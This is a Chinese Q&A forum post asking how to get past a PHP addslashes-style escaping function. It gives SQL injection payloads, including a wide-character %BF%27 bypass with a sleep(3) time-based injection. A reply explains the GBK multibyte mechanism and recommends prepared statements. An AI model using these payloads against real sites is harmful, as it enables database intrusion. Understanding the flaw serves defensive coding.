SQLI:如何绕过addslashes

发布于 2022-08-29 18:59:45 字数 961 浏览 29 评论 0

代码:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

程序中,对从客户端传递过来的参数都会使用check_addslashes函数对单引号和双引号进行转义
比如:
攻击者构造的payload:id=1' and sleep(3) --+
最终的sql语句就变成了:SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1
问题:
对于此种类型的防注入,可以怎样bapass呢?
google了下,
可以这样构造payload:
id=1%BF%27 and sleep(3) --+
则最终的sql语句:
SELECT * FROM users WHERE id='1�\' and sleep(3) -- ' LIMIT 0,1
试了下,果然可以成功执行了。
但具体原因没讲,不明白。
不知道有谁能帮忙指点下其中的原理吗?
另外,还有没有别的方法可以成功绕过被转义的单双引号呢?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

梦在夏天 2022-09-05 18:59:45

%BF%27的情况下 addslashes会无视掉%BF而直接给%27加斜线
斜线是%5C 于是就变成了这样子 %BF%5C%27
前面两个构成一个宽字符 然后%27就单独被解析了

防这种注入 能够按照参数格式来过滤最好
如果过滤后仍有风险 还是要采取预编译 或者用mb前缀的函数重写一个

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文